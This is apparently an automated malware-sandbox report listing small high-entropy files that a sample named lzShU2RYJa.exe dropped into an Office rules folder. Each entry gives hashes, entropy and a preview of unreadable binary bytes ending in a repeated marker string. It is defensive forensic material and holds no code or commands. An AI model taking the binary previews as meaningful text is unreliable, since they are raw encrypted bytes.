Preview:	<?xml.7@.y..TI...s?o..emIt.(s......=<...q+D.%.+g3.........Y......fvn.....>R0jh_.....N..D..\Z..?2..lL...3..)....HJ.E..S...0.Qzr.[F..!.B.?.......K..+b)8..`...hD.p...s.xZ...+.A.aB`}.R...G.....P?..(2....l...I.....63.![A..F....R....$.]U.y&..._8.8..:'z.w..u.Gu.A.....S...\.\|<<?.%.{M....;...] .~.28...]....\.qj}.D.N3.^....T.....-f...v...5..7..6ImI1s.....l&:+ ........I..u......+].....I.I\|..`.#\.6....}..3.[......lRhq......#..(.D.....y..CN.....fw....Z.uP.....N...\..,D.N.1....=#.hc.&....T.;.dx..F.p.!m...r:.T/$.n\|...n'.......m.....J ...4.-/,.O'....n.v..2s....%..P{r...s..t.. }.P....4.=..F.8........j.KQz...,.....t...'.aj....W...o...J.[..Z-..~7`Q..".S.v.yU._R........E.....~..N.!U.[G..:9......<3_Fz...e.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.7411082478287545
Encrypted:	false
SSDEEP:	12:PyHam5dPpeBdP+ylok9spJMqA6paUs2uWuuQNPBhjRS4FW7HNv5xki+WRxMv7jVX:6tQ3d5Xq7pah2u7Ll44g7tX9FEvVbD
MD5:	EEB035BA6FD9C20D145D775375C24666
SHA1:	370B859B1D6CC06A1ED63DDD988C94661ACB5EF9
SHA-256:	41144164653E2717D8B3222EC045AD8BC6BF6A8BA2590D2EB033EADEF9130637
SHA-512:	05FCF54FC8D54595D7D0DA6E235E98CE3501CAD6212C95363C185F250C25FC5FA0060754D538F47AF49CE85BE22381BA0FAB3F7CDB00D618D247FF26A59F5F64
Malicious:	false
Preview:	<?xml3>.<...{3........6..~..%..Z.`.y.l...."...)E..iE..9..j...y.z.Rp+zc1.{...a.`8....E_.G?1....-6\.3P..j.......Z.......;.j...Q.R.>......K..Z..y08..7h.6...F.#...MB.....L.........1.gR..........U....4N.p.2d)~.J.~...s..$..~>r$.o....bb^)K.u..a....d...<.z.zlL.`..[..>]..#<......-V.%=....>x\|.p..)Wfj[) >.5W.P...w....h~..%....,.+:.W*..(...._tg.Jqo.e.ZG..R.{..5.J....!.C.v.g..>H..7O..R.L.FS.a.W.'p8.t.lG.A.....<...i..........p.....S...F.K...... .m....k...e. S..h.'K{.N.w.'... kq...9.G.T6.n.....O;J.M.......@4.4.G.U&@.#...T..?U....X..j,Q4N.[a2.N!F5./_...V..=..S!..7k.3y........a{..Bv..owf.o&t..].!..............,.....(V.Y..v..._..SG.(.E..F.%A..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.751341577818349
Encrypted:	false
SSDEEP:	12:oazk/RTGEXkMFz8ul1JZH3YdcCv55KIMDFYQqAFsMCu8vpbgQJINPjVcii9a:O/dDz5j3YaCx5rMDK6ZCl6Q2hVbD
MD5:	E5B7AA5345CCEEEB90E122E7D2A72B06
SHA1:	14240B75F9B9E5D596C006F882D13AF77CE3FE8F
SHA-256:	11AE8DEBF6D72FC63ADEE6A97BE01D8A679E7EE3E90D03239020372AC6E5FDB7
SHA-512:	1803C99E8235162ACFE97B9F5F1290E5E9A94204DE7BF2169560A2B42A8C47FEF81F1469BB731DAA54F961CD040FFD2DC9A72496ED75F893EBF9606BEFCDF3CA
Malicious:	false
Preview:	<?xml4Yr5S..u....d....Y. ...U....Z...0g.0`...d..<9..\.&..&..G..mI.m...h.:...;{.......f....YA...K ...........I.K.....O..Y.)D..e...(...N1,..r......_P......@)..l.C.k...:W.......ce-....X...<.........W?ei..cpb.-...e.UV..D./......(..y.GCYv...N...D....q....o~....c.4.......v.5..8y<<K1wC.$..IVDRy]..v.[...N.......e..$.wQhtD..,l._...%<#.7+v[+L^'.\......%^..f..8.E.HM...N]RO.....U`......V...z.....C2s.>....../~..8....l....v....u..&.U@%.A..r...D.$.\|.R.D.&f.,.....Lr..V..b......Ar.IM~-..+......!b.....g.c .Q...,d....dj.V.".........*.5B..l.....48..6...ZQ.v3.P..........O{...4..4x.)\|.....L+@%..........#7..IM....v....aWQ..U...{V.......\ ..o...gA.,..-.8.R.J.(.E..g.;..y?k.f..^..\..Y.>.j...gj.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.690190219686125
Encrypted:	false
SSDEEP:	12:hzns9lcbfkRyHkertuEuPms+zIH5LrxWbFcMzwGT8Y6EdUbuZb1gv34U4JbLejVX:hzn+cbBEL+axWbFcMz7glEdUKZyv4vW9
MD5:	E921519CAF062750DCCAA59A83B29E1E
SHA1:	F6BF60933957E2D6B25F2645AFF0046FBA1D09E3
SHA-256:	4D677E05364E1105AF7F67C21A17D40B89B8B2EBAA51A4FAA1EDF46B9EDD0D35
SHA-512:	1E2FB3C90F98FD04B59343FA7C1272F931D63778F529C8C7D219BFE9DB363BC9F95F91B24BFAC6633EBE7A5152C3EF3CAD36E926042CEBF0AEC8EE7D0BEDD4FF
Malicious:	false
Preview:	<?xml...&$.)..O.W........>S1.{/{.4.0.b\..1..@.WH...K+..fR#.b.p2.. ..l.~...t..v...@.....W.g.2.E.g\eQ......t.:..\....,3..?..Z=\/..b.......(/. ....;.jB...>.]-}...ts../%....;$.,D...../;.H..6.....O.....9b.;.&.Y9....zJ...m.'MGZh`.Ee.f.yP..G...FC...k.>B.v.sQ...0..'...=......{.K.\|.z.S...%........).s...h..v..T......a..A..7.8....)G@._...E4.s&.I..\|f.........yT.c3.z....P.y...p........5&....\W..%.q.]$t..1'.G7A....xNq.t... aIk.B.x.,..6-/..mR......0..O5...$\|8....S.q.....N..]...Z..0.........E.....:.._cY.B..........-/.?'.<...[j F.....TA.0...C..5uHx..F..%..4R...E.M.E..O.'....4.j.&..i.P......Y6v....08...H..QgnD....WB....~B.}+.qv....D.-..@.8..R?<<T[1..Gf..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.712619227826201
Encrypted:	false
SSDEEP:	12:92fCEQwRkl0vGUtrBcYats2cS9BNUo2Go4T8B5WVi2otgTNiUHM1APGR30kymds5:o62mMGUNKxtsSeEoZ6VhplGBSXZVbD
MD5:	1EB1BD3972AB6A253A1F912093218D22
SHA1:	52F8628CCA214893AD9866413670EBBAC8874157
SHA-256:	9B29FBEAEAED6145694F039576A0AF1235643441F94E3F87C84EA9D8F6875371
SHA-512:	1C07856DF392FCD160C089E5488A3AD4509EECB212635ECB544883DDA6AD74CD6B2EA8FBFCA628A84BD6D3A7ED422EC7A85ED95998F5AEF1FA8A406A66D2B3BD
Malicious:	false
Preview:	<?xml.O.._.......yeAoC.J..K_5Y..........IX..w#...}.Q?.3....g...J.:..gX..\..<3rm.....P..K:k.%F.......h.._.H.-u\|v..\|.jj..$.E.G5@....E0....t.4.s<..<t....V..I.;....+...G.......'.2..`gp..o...W...IX.<.....m...A./.![-....:.V....4.}.e.`.+J_..^G.5..j.G.....@..l...S....(]^[)..D4>.h%RX+.....b.HbR....D....k.F.U.N......\v.....?.=........__.kp.....l....1Z.$D...Y.l(.]h....vS.>;]...ge...\|.n.e.d..K..U.D.-^j/.._..>!y.........J.6....\]ey..6...N.Zw..\|_t.W._,1j..+...n..H.>\|. )..=RX.........E8..].-.U....Z.SS.?.-.......&..h..r$.H.y7w ......i.f#((.A.hJ.S..%Z-.M....a\|.BB..1....M.....=&./2W....L...N..Qg....]i.].4$L..<.:.=%..(.QV..P;.b..-pK..{...@.jy.....:...N.7\|,.x)....o.5.".N 8+4...X......V1.d)-..LFT=jSvitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.692171285562491
Encrypted:	false
SSDEEP:	12:AcJt8BMYfWJ+aPgJ0Zbp1xYbndeJ+aYPmIUWMPLLlGwCbq8axjVcii9a:Rt8BMIWAaYJUxi/NYPH1CeVZVbD
MD5:	95B55B7EBFF44BE1C16AB00FBEE7C576
SHA1:	4177875E28BE71BBDA1F5A1C790C56D7DD87143D
SHA-256:	A2880AABEEEB4935D1639F5839F8E58EB40B7FE43CB66054F9F4F9DAA4F1D0C1
SHA-512:	50F50322A7C23B1BB0E2AA2FD0969D41A4F3A1AF32C2562BAD0A040790BA3B706EF4FF22CA6EB52098BDAE08D07B6D64C3129FA30F5EB092598D5AC7B6F2BBBF
Malicious:	false
Preview:	<?xml,{..Vr<..../}x.....~.Ww..stTI'.!.19.h......pt.>...s3.-..\..pE.<a.M...<.#....T].).6....D}hh.L......4t...GjZ.D.8o....u......P1nqQ.....z.x@...]I'./....\..5.,<Es....xT.6.......ZP...../.;............ ..KqguC.:....(.8..;q.K...v..5...e..8.9...0j.d7...m.C.l..&..U."...........5.Pd.....o..I.=m..XL..+XJ.m..E...J...Do..l,G..f.f..SS}..hX. ]..NIu].D;.r.]^}.<.Vd..711..Ye>...k...\..h.M.,.Wg...33r.Kd!........D...6M.@..]...o{Z..B....V....l>wlyQ...]..B.l.Ia.v....}.8y.t(..B{.....]+W.(...}....Mj......S.V.>6{3...xR<5..f.6.4w.V..~fK.....[....T.....*.d..hW..^dld.[#.J...j..1.!c.......M..qG...S.=..Q......!L.s.?U...k..y..f...(.j..%.._.N..`'..!....Z.]$Z...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.705989483685678
Encrypted:	false
SSDEEP:	24:KErfS6kK0qUjBLHB0rIXV/aH9FzXqFzJVbD:KErfIFqUjXhXNgzX+FD
MD5:	5BD97CEB5F00D70005CA480C7BDEEC7A
SHA1:	EDF79D4A31E3D52C1D8E678672DF12327CAD27C9
SHA-256:	7B50D973C1A831CB0D4DCA057916421E6C3D95DA20946ADF277C8248144E1F6C
SHA-512:	60DDC0A5A7DA39F61F21B0C6C90358EF6BED29A06F5D0477F4796813E852F47A7812C4962E1B9576DEDECBF5B45BCADD214B813FA162DDFF273478F5C3D6035E
Malicious:	false
Preview:	<?xml._.N...e.p.d...!,$&........2[..]...S7.y..*.3..;.6..d1...bi....:o8.Y..\yus&tQ.C.6.....yw<.v....E..`[.....F......X2.b.\|......h./..W.u<.\|...5.....zOS....Y-.c.I.C. ..].g.o`@Gb.s..tZ.....OPw"#.%.&......d....%.g.8w....X.L?o.I.Q...@u........#..H.w...`....CK.Ds+`P.mr.(..d.=.4.P..F.cxi.....%...5d..Pi/..'.Bm..X4,.'C...bsA.....8.)...x.>..._z..L$...T...D.hh.:n...Vu...]...&....\l.r.o..DG...R....[...;..Y!j.......x..9WW.......u.._^j.9...;.Y./....>y..-.b}..{3..'_....v..5Sm.m.KQ.){3....v.y.h5.. ..X..K...e.<......bU.d.M...d(...W...eC..z.&.eL..;.....3....`.u."....-.d...k..v.\4\sn...c@.{..k..y.'z.G.....5......C..vi2.l.V.l..Nj..G.P.,=2....x...b{...U.HM..R.v\|......o.u..2....N. ...."7..s...{l.Citkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.6588278336313405
Encrypted:	false
SSDEEP:	12:fJiJiEPxX0IZWm0V78ZLwkqKZzkRNojiOhZQnTNT1RcK753ka6rbcs6RJfSxzZKB:fg3xEIt87KgIuT1QK7NyrbekZFI+cVbD
MD5:	9A4BD112F78D17C1079B58DA7DCFCEAA
SHA1:	783C185DB3BDB2875D16E800E7C81EFF805DCDC8
SHA-256:	444E33BE75E3F7162073EC39245F9F61D136A28AC75ED660233A264265C8E131
SHA-512:	99C81B4AD9F388863CF6AB05102715D1C60C7F8ABA801B114DE00DAD025A20A2AD72FE0012385E0772E4310E2F4FAD6A5BE240CE0B2A11DF9FC825EB221E1947
Malicious:	false
Preview:	<?xml..4P.WB{.b..A.p1<.{^@&..%...bd......F(....8..........n`LO.f..(.YC..Lq>.YV.2...0q..U.1Q..7...l8r?j.F........#.9..A.U....(W..R.r9E.^..7+.(.?.KO.W....vU...`.o.F.zK.L_..b....<p..0.w...l..xi.H.`_/.Ci..S\|{.z.V)......jv.7.G.....x...b.....>.".;.Dt.........-...Vh?}f.....%....e.J........3.L.......Kr(j..1..F.;W.t...X....nU...l~Ma~BO.#.V]....W....g*.1....VL....p._.62.b.7..VR.s.......!.".. .a.a.[.y.Z..W]Q.1...(.4H.L.eb.........{...6.?57.7.......L..\|..&..h........u.[..AF.)W.sz_>...._..b.2d....PA.>.c.....\..9..8...IZ~.D....m..zE0..j._D....$..K~..2.S..'....N....+G.k>.p...a~UG..Q.0.z~...S_.x.^... ..c.1y...4........"E:..+...`.a...;...]....eP.H.j.x.L.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.730782667914204
Encrypted:	false
SSDEEP:	24:zakNm1v5JeiyhafNDhwzN7/QPBJ5oLVbD:9m1BJebUNDmcJIFD
MD5:	F65CB1D93CDE9DB1FD380BFAEC4A49F0
SHA1:	7CDB2DD87D4FB01B7CA20E035B25107FD4AD9568
SHA-256:	BE448FDE74D744665498355391BA38AFA668D51346C323C81FDC826E03569AF5
SHA-512:	C3C16C2EB38C2FC1FF052406D057068701E646CE5BBD0F15489F27EDFF1A9FA1FEE6419AAF5FC47518A2473E23E6D1A085848FB58DC0903DF9DEB3C5E11D5442
Malicious:	false
Preview:	<?xml..B.....Q.u..\.....UB.e..C..ii.4.........t.#B....S..HUM..Nt..F..$.>.....q9.un.>.....r.....K6p..!...>.[!xJ.1...`...o^S._...%SsK..k.Z....-V.{...\".s.VU..E....S%w.+M.....*U..P.)...U.....=...C....c...y..u.._7r{.....%..s...\|.M......x....T../.....1..c..Q6(.......1.....dHc...`...w...x..pA`..07.,.H.....:.D..$p.....[5...A.q..Z...!e].Mb...fG..T....q.TY..x=i..h...P.".X..H...;...kC...m1............e.`.#...x..(...\.......U..d@#...!+H.%.Y.(..+.n......H8..!..5..rm ..K..p}d.#..\q.r.....x.g.i.\|v.}..x.....+.q..>QFL}?...[(3h...(.CQ..a.......7Yn.ht.oo<(...1l....u...US.iky>S...V....z.6o.R.5....G.2.ui[qC2j.r....0.R.?..e./..B....L.5..Q.......F).&....7.T...y...5a...fG}+..K3.).atp...NA.$..l1.."..&ya....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.7100627424956745
Encrypted:	false
SSDEEP:	12:0phN/jCeBvIuTWKn6zdwKnWIxRJi5AcLDi9M4H7uqLk5nbbB4r6JcryunWjVciik:on+egXzBV4rLDs7uOk5nvGr6FVbD
MD5:	F009FE8C5B37975E24DC6C8B05E1021F
SHA1:	DC46785A7B13FE77DCF1BFD41DE284E35D7EB8ED
SHA-256:	6A833BD7D2406D0B21573F1072C764A0739C14FF418AC3FD73C0A6C806F567D2
SHA-512:	829864FB5620369F7ED37CDAA099A0FEEEB2A2E52B87BF0A92C3BA7B06C13152C89E1C3D808DFD39EEFFFCAE50BCAB921B91D4D3FBC471DC1F44EEB4BFADD2B0
Malicious:	false
Preview:	<?xmlI...{oT...kb..q.!.ZpD'-g.,....s..&...;UY..j."....LV.5....y..D....1..fl\|Q..E.w&..a9.kz..M.-....A.S.....B,..R.....>`s4T$.T#..oz]b....m`....d... ...&<6......}..y`.,O.J...n@r....h7pd1.s..s..a.2x.=..M.....;k...r...rH!.Pj.iT.jD........?.G ...;b3.g.!g4Q.f.2.Q......R._"ejG.vcS.#.......JP...l.......-?:]............D...M..]...O..?{.-c.>,i)h.!b.......R8.}2.X..f..r<...h.u/......^4."L..B.O..,....&.b.].W..#D.....7..nr=.K.2.[.k..&....7K.....u...P.MO..YW..@..=].eg.YL.2....R..7.23..Q.(..&N.k..l4i..al.Q\|k.vj.`..8z..=..v..F...\|.<;O..q.r;...,....H.v....$..C.Z.nR...\|:....%u.O[.6.....1.@......,cE".....V2.y..}.......WC.\|.Y.....2.B..R.$.M.....$2....*r.;.y(x.....- kGTP ....5.e..X...K.a....K.o./.Q{itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.684713891907734
Encrypted:	false
SSDEEP:	12:37N5EM41dEU5TppFVUpSXHgEsTIAYmA+BIak2lrpne6c8vw0CtRL73DTFodrjQoF:sM41dEULLAnIopkMrJlvGrbFAoo+iVbD
MD5:	0B50944A8F82068FA70EFFD9874463F7
SHA1:	F662D6EA78BE5907E56FAAD2E041601DBD317CCE
SHA-256:	29A4D0622EDE5F87ED402F08F56B6BD0FDE324F84D0F99FB3283CD1DBF371357
SHA-512:	6B63153C3358CB71822720C157F689275659B269BB1A26B6C8B595BF34FAB7C0A0941A95315290630D957B0C8F3BB8638F75A0DEC5745FA18C5F6B0A2105144D
Malicious:	false
Preview:	<?xmln..X.[...M.7a...r.z.=r5.5...`.=...l.!.E80..\....Zq....)m...V...U...'........E .)B..8.vA..4.....&Q..9.N...2'.].X.E...t.r....8...H2L..q.)......v.=.2<.. ..].0....-.....S............_....!9......fE.1&4.......tf^..iX.rsq..y.U^....):i...m3..}y.s.F>...f....o4OP....$...g.&m5.3..d"e[6.].).dh...x.6.4.6?_.P.I.u.u%,...`0..{#....W.H.S..G.a...b-...^.I.."p.H..bL.+j;..jBo)... ........H..8..W9..nQ.B..........v...4-Q.>m...._..._.......xN.$..v.cy..e..OL.}...9...j(c....c.'......Z.7S..%...L..A\....Eu.$....v%.\|..1`'e.N..c...6.y....Qd......Z..J..\|t.%.IuXi+-C...M.Vf%8.......$w...Kg.e .A] .... ...p8._.\CEhGl..........Q.`. 3~.=8.....\|.....9.......}.........#.K.......T8t...y5]W...R.....=....)...M.)...S...>itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.682656412220353
Encrypted:	false
SSDEEP:	12:rqzDYLH90QVDBAf5kCfNehlPTp30kCvuISnPLaMVpq4n7xbQo7BgTcejVcii9a:eedY5fonTp3R5P+NCbFytVbD
MD5:	E1424B3DCE5A6A32CBEB343C4A2B223B
SHA1:	604915118E7749C12DF60324F62315B84EFC6E80
SHA-256:	AB472899493E5DB44196C25D0A28A5F27FBF1F043AA65CA54D0A417E981128E0
SHA-512:	A14E856CF308C90AB443733C009E8166B64904F5A14B5520F64450A00C11830B1EFEAF80825C13A60D5D28D78A7F2F481953A9CEB4AFA093E46C4F15EF41D90D
Malicious:	false
Preview:	<?xml....h.9.o.B......#..-...5....$....q..<2..@.....u.._.;.2...........ym.*....J.`...Y.H..9k....4.W",CGc.SVQ...d....+<...;p..X&......G.7.(;p7....&.z.n....e5..........tYGXc.....0om....!...j.[.tS C.....QK...M........>H........Q.z..z... .:.m..OZF.o/...@D....pY.....C.U.@...F%b.h)+.?.yCD.....9..m &pL...+...Ff..r...D.9.O.M?..6.'8.?!.L.....u...t..9...%.J..-.Y.S9Z.......opK.\.M...<Lec.q..n~>O.P..5..X....$q.>.g...p...Gh4(H0.bA.=z.<..(.....\|......:'}...%..Q..,!..@.`.....gvi.!v.......b...R. .6<z.'@N..p...c....z......hR.\.'.....l..u...2...[..O~.Xy...:...-l....-X.......>..`7.`..3l..\|.M.?r(...........l....b.G....!..f.....11.g..mS.nitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.728261067422645
Encrypted:	false
SSDEEP:	12:/mIS2pKvoNpK7pUZVEzgQTIHhQFuNALIUIOE8M29ngGi2DfjVcii9a:/Ovo+C80HDvZUgGiKVbD
MD5:	54F8C782CEDA8126734D0FA1F000DB92
SHA1:	91F03C8888696BE75042D55252381CC2F6A8EEDB
SHA-256:	C5A357ACAE142C72B418FE5C0881A1202E0CA4C72AF3C3B2AB86030DD7D242A5
SHA-512:	C065D788C86A0B05C1566B41BEEA69186E5BDA5AC0CAB3CBA297586F073B084AEA10CD7575F2892910A85FD6B2279D1BF83B2B257DE4AD5995BAE9AF93BB6056
Malicious:	false
Preview:	<?xml.."..G..B..W..:8M[.e ......x.b{$...;...$...2..g...."....Tcx.Z..8&...aH........n{.C.?....d..5_]...S.....{...5r..O1.........e.0\.AY.<....B.(.P.Xg.].B....... ....dB.. .......T.Z$...+:...z...L.6.u..u.D...xB..NF@......K.......A\.k...W_.......k5.EM..Z....C.<....../u...le..@..s...!S.CK.y.....Y..U.H0.-...:l.1.E.'.:..kX...;...`.9[^.fj.=..Y..M...........?.$..b, #D....#...:.W.n.D3g....O .c.E..W....h.d's.XG...+r[B..k....!...~l...[=.9..a.a....Z.DF>.....o.ZO-pz..1E9dI.5.....:P.VT)X3!...>...rIe..m.V.)..F.v..b.Z.i.x.d..N=.Z...M.y..A7.........Z..P8...`gRd.A.L7V.uo..f..*..z...".E_..).P....RXG.l../..R..K..U.....b.JT.`..&..,h....O....n.?..)..wB.u...V%.4.u....4..d...5....p}...a[..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.73764466308518
Encrypted:	false
SSDEEP:	12:yq2C05rx7KDUb00ueUSC3otgXee/k4ElST7UmTNvH/y0+6NjVcii9a:yq2C0Xb00uhSC3oeO2h38f6NVbD
MD5:	D0D414C3DAC168DD62A7DB0BA8BD6643
SHA1:	3C2DCC2A0FD473A7125E91DEC193169298EA7F71
SHA-256:	950D9754A58A71DEED0758E625609F3C761A7B40BF0753B5A05DF28DAD3A848C
SHA-512:	C20CB6A52A6DF3C21C0607D352BDAE925D0221C4E2AF14EEAE91998A4ECBF97474EB0839B81B3E3536D4C81366DEA8C1D95698AC6895FB6EBF968769C2AEFF03
Malicious:	false
Preview:	<?xml?h.%....\|...l$.1...'...&......X....C..YM.18Z.....fcZ.k.?.C+...Z..q...a.[.'..rH3v....gm~..sZ.v6.....-}9i.....<.L!.....F.w6D.9CK....EL?e.....).%...-...J...zk-.w.%.0fj..y..K.p].....-..H..%.....X. ....>...A.A.$.6..cI.+..R.;i.a..=.$K,....NQ.Q,9l...:.......V};....-.^.f1p.....G..S.[L.#...e...h @.t.j....C..;..o..A.~.{y?..K....$....@.....u9b..&~.C.}y.\|...y....,]...[...`...t.K!.gF....rj.....L].... m.j.....W..+..]5..S..C...\.e...(#y...O._&.m.....9...I.....9Yw.(.D..7b....E........-"`.X.v.....A...g.*B..4.,.1.../.{;".Jt.9....K....9......X.i.~.E..Tx....\|l._DS&.......~~C._R...8L...A.....O...H.......O.....8.......&k^.TM..7...r. .;hw.{..>..5+.....JO...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.72171756359144
Encrypted:	false
SSDEEP:	24:LRgYPO5ie5HUnsQCkKtuX3MErH91+hVbD:LRDPO5ieJUn7CRZErjeFD
MD5:	AF54BDA1C8702AEA9E286953D6DFA6B1
SHA1:	41A8A84F7D1F1F8A428601F3EED6B15A40DC9BFC
SHA-256:	39BCDADF4D6DB6DAF8C926348DEE8320BBE59D647F400E37D051A9D642F60ACB
SHA-512:	431F5B6DA813D4A7F838AF5E33BAC9F9F27A0CFC225410F0D9FB12601C5F429715FF1D15023AB3FE2349CF53A8765EACCA4F0312DEB2ACBA509F1C89E7006137
Malicious:	false
Preview:	<?xml.@/x.H)=v?."...Ui.0G..J>m..s.G..M.............o,.t...K....G..f.%.ar.d.....bt...A.I.M\|.....E...L......1Z5...(..<7...Q.......Am.x{..=.5.D...G.^&...p.g.a..9....m..N.@...G...0...of.\..~OhyD....]ci}`.....R.j.L._)..H..>.\|.!.a\|.)"N.x.^..>E....X....#.....hh..U.h.m$..rDn........W.]N.......J...U..!....~..R...#.>..w9T<u.G.<t.t.u/..j.'.&....li..^E.....Q..z{.7.1z..`,.}z.D4+..H.t,.+...&(....N..}?X..@....u.5.=s...<<P!.#jQc....:...6.4..#..2.2.. ..X..!..K....;.,.6.....l.J..(..Tr..O?N.\...Z..>N3b&....\|...?......9.Ny.....+\..v.g._.B....}..2.t...D...U..n..d.5'.p.So..6...st.Q..{.y...&...0.%"..C..d......L9...W..0\|.H.S.:.(....T....@.......2...^.LIN0.v.}{.....0...}.p.+.....U....Yn.?.....u.....3".s.t2....b8.0....I..l.Q...v...^itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.694873349986607
Encrypted:	false
SSDEEP:	12:sRWGXpDeKl+0DzZ2DoYYranVSyQIiUlJ4y/uWBcmxPum7Q2n43jVcii9a:rG5ayYYranVSSnLmWBcmxx7GTVbD
MD5:	D08EF96ADA677606F055F8D4CBE12C6D
SHA1:	9DBB0FC0FDDE44A08AD11DF47BE5FC26AE9AD930
SHA-256:	7BFFDAA4AA6AC94F03436E8A5C84E762C848E1274057776F16D2CB49811EDEC1
SHA-512:	7771DF3976607E75D6CD3504C2A3AAE5CDC15AA334B156BFC89A4CEAEFF9021B1CB68BEB2BC2FD6EB1C2D68C0AD1BCF2B806E0500DB9D20F6C6ED2CA29CC96CA
Malicious:	false
